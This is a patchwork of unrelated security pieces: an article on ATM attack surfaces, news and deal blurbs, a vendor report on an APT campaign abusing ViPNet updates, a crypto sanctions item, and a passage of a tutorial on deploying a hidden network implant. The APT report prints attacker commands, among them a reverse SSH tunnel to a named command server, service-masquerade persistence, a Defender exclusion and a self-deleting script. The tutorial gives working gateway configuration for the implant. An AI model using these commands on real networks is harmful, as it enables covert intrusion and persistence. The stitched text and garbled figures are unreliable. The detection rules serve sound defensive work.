Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.

In this episode of the podcast, host Paul Roberts interviews Nishawn Smagh of the firm GreyNoise Intelligence about the findings of their State of the Edge report, an analysis of GreyNoise data on risks stemming from compromised edge devices such as broadband routers, VPN gateways, smart home devices and more. Shawn and Paul talk about how attackers are turning edge devices into their favorite entry point, and strategies for organizations to counter the growing risk of compromised edge devices.

The post Edge Devices Are Your Cyber Underbelly. Here’s Why. appeared first on The Security Ledger with Paul F. Roberts.

💾

Are you a weekend tinkerer with a love for microcontrollers? Make your network even better this weekend with these simple ESP32 projects—no solder required!

UPD 16.07.2026: Added rules to protect companies using our SIEM system Kaspersky SIEM, and listed events for developing custom detection rules or conducting Threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during it were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts of targeted infection of large Russian organizations from the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector — a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After launch, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and the command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting in the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload in memory, which is stored in its body in plain text.

HelloProxy — a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• Working as a proxy. The malware accepts strings in the following format:
  

  <ip_addr>:<port>

  
  Afterwards, it creates new sockets and starts forwarding traffic between them.
• Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system;
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor — a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above listed, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that ViPNet software is not the first time being used by advanced attackers to conduct cyberattacks, we recommend paying special attention to the protection of workstations with this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent incidents of this class. This approach is embedded in the architecture of the Kaspersky Next Expert line of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat using the following verdicts:

• Trojan.Win32.Agentb.ttoe,
• Trojan.Win64.Convagent.gen,
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor Process Injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for the HelloBackdoor backdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical for ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

• R220_02_Collection of user account information using standard Windows tools
• R221_01_Windows group discovery via Windows tools
• R224_02_Remote system discovery via standard Windows tools
• R224_14_Windows reconnaissance activity
• R226_02_Collection of information about network connections using standard Windows tools

Also, for developing your own detection rules or conducting Threat hunting, we recommend paying attention to the following events:

• Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
  

  (DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
  AND match(FileName, '.*\\.(exe|dll)')
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

• Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain information about the manufacturer InfoTeCS:
  

  DeviceEventClassID = 7
  AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
  AND FileName ilike '%wtsapi32.dll'
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Launching non-standard processes from ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

• Launching ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain information about the manufacturer InfoTeCS:
  

  DeviceEventClassID = '1'
  AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Atypical reconnaissance execution from the svchost.exe process:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND SourceProcessName ilike '%svchost.exe'
  AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

• Creation of tunnels using renamed ssh or plink processes:
  

  DeviceEventClassID = '1'
  AND match(OldFileName, '.*(plink|ssh).*')
  AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For the correct operation of detection rules and Threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

• "cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

• "cmd" /c arp -a
• "cmd" /c routeprint

T1049 — System Network Connections Discovery

• "cmd" /c netstat -ano

T1018 — Remote System Discovery

• "cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

• "cmd" /c systeminfo

T1057 — Process Discovery

• "cmd" /c tasklist

T1007 — System Service Discovery

• "cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

• "cmd" /c dir temp*.tmp
• "cmd" /c dir $temp\*.tmp
• "cmd" /c dir amgmt*
• "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
• "cmd" /c dir $public\libraries\
• "cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

• "cmd" /c type $temp\TS_E9E3.tmp
• "cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

• "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

• "cmd" /c del $windir\amgmt.dll
• "cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

• sc stop AppMgmt
• sc delete AppMgmt
• sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
• sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
• sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

• "cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

• "cmd" /c $windir\amgmt.bat
• "cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

• "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

• "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

• "cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

• c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

OFAC FirstVPN Sanctions Show Crypto Enforcement Is Moving Up The Infrastructure Stack is a useful reminder that crypto coverage is not only about token prices. Sometimes the more important story is the infrastructure, regulation, security, or product layer sitting underneath the market noise.

The immediate point is straightforward: oFAC sanctions linked to FirstVPN and ransomware enablers broaden the enforcement focus. That gives readers something concrete to work with, rather than another vague sentiment update.

TL;DR

• OFAC sanctions linked to FirstVPN and ransomware enablers broaden the enforcement focus.
• TRM Labs says the targets are connected to attacks against US victims.
• The action shows how crypto-related enforcement is moving beyond addresses alone.

Why This Matters Now

The timing matters because OFAC is already part of a wider conversation across the market. Traders want to know whether the development changes liquidity or risk. Builders want to know whether it changes what can be deployed. Compliance teams want to know whether it changes how platforms operate.

In that sense, the story is bigger than one headline. It sits inside the ongoing shift from speculative crypto cycles toward more practical questions: who can use these systems, how safe are they, and whether the underlying incentives actually work.

The best way to read it is with discipline. It is not a guarantee of immediate upside, and it should not be treated as one. But it does add a fresh data point to the way the market is thinking about Regulation.

The Regulation Angle

For Regulation, the important part is the specific mechanism. If this is a security issue, the risk sits in dependencies and user protection. If it is a listing or product launch, the question is access and liquidity. If it is a governance or research proposal, the question is whether the idea can survive implementation.

That is where this update becomes useful. It is not just a label attached to a trend. It gives readers a way to understand what might actually change if the development gains traction.

Crypto has a habit of turning every announcement into a broad market claim. This one deserves a narrower read. The value is in seeing how it affects the users, developers, institutions, or traders closest to the issue.

The Risk Side

There is also a caution attached. Source material can confirm that a development exists, but it cannot prove that adoption will follow. A proposal still needs support. A product still needs users. A chart still needs confirmation. A compliance tool still needs integration.

That is why the responsible reading is not to oversell the story. The stronger takeaway is that this adds to a pattern. The crypto market is steadily becoming more professional, more technical, and more sensitive to real operational details.

Readers should also watch for follow-up signals. That could mean developer feedback, exchange support, regulatory response, wallet adoption, liquidity data, or simply whether market participants continue reacting after the first headline fades.

What Comes Next

The next stage will decide whether this remains a narrow update or becomes part of a larger market theme. In crypto, that difference matters. Plenty of stories look important for a few hours and then disappear. The ones that last usually show up again through usage, liquidity, enforcement, governance, or developer adoption.

For now, this gives the market another piece of information to weigh. It is specific enough to be useful, but still early enough that readers should keep the caveats in view.

That makes it worth covering without pretending it settles anything. The story is a signal, not a final verdict.

The key is not to confuse coverage with certainty. Regulation stories can move quickly, especially when they touch security, regulation, listings, infrastructure, or price levels. The useful approach is to track the next confirming detail rather than assume the first update carries the whole market story. That is how traders avoid chasing noise and how readers separate a genuine development from another passing headline.

This report is based on information from trmlabs.com.

This article was written by the News Desk and edited by Samuel Rae.

Telegram CEO Pavel Durov confirmed an outage in a tweet, saying that shortlinks to the messaging app had "stopped working."

Telegram's t.me links stopped resolving after the .ME registry applied serverHold. The app still works, while the reason for the domain action remains unknown.

A recent security analysis has revealed that a significant number of Android VPN applications, 281,281,281, expose users to serious privacy and security risks. These risks include traffic leaks, third-party tracking, weak encryption practices, and VPN tunnel hijacking. Android findings highlight a persistent issue in the mobile VPN ecosystem: many applications marketed as privacy tools can […]

The post 281 Android VPN Apps Expose Users to Traffic Leaks, Tracking and Tunnel Hijacking appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Public Wi-Fi can expose your data. NordVPN locks it down across 10 devices for a year, and it's $40 off today.

The post NordVPN, 1-Year Subscription for 10 Devices is Only $30 With This Code appeared first on TechRepublic.

Public Wi-Fi can expose your data. NordVPN locks it down across 10 devices for a year, and it's $40 off today.

The post NordVPN, 1-Year Subscription for 10 Devices is Only $30 With This Code appeared first on TechRepublic.

Bitdefender Antivirus Plus protects one PC for a full year with no monthly fees, and it even comes with a VPN.

The post 1 Year of This Popular Antivirus is on Sale for $20 appeared first on TechRepublic.

Bitdefender Antivirus Plus protects one PC for a full year with no monthly fees, and it even comes with a VPN.

The post 1 Year of This Popular Antivirus is on Sale for $20 appeared first on TechRepublic.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

